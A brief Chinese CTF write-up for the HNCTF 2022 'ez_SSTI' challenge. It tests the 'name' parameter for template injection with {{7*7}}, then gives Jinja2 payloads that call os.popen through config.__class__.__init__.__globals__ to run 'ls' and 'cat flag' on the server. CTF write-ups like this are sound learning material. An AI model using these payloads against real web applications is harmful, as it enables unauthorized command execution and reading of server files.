[HNCTF 2022 WEEK2]ez_SSTI
[HNCTF 2022 WEEK2]ez_SSTI
题目说了是ssti,但这里不知道参数,一般不知道参数先尝试name
确定用了ssti模版,并且测试没有过滤
payload:?name={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
获取flag
?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
关于ssti注入
传入参数用两个括号{{}}传入的
如{{7*7}}
ssti的语法还没搞懂,找一个时间研究下ssti的语法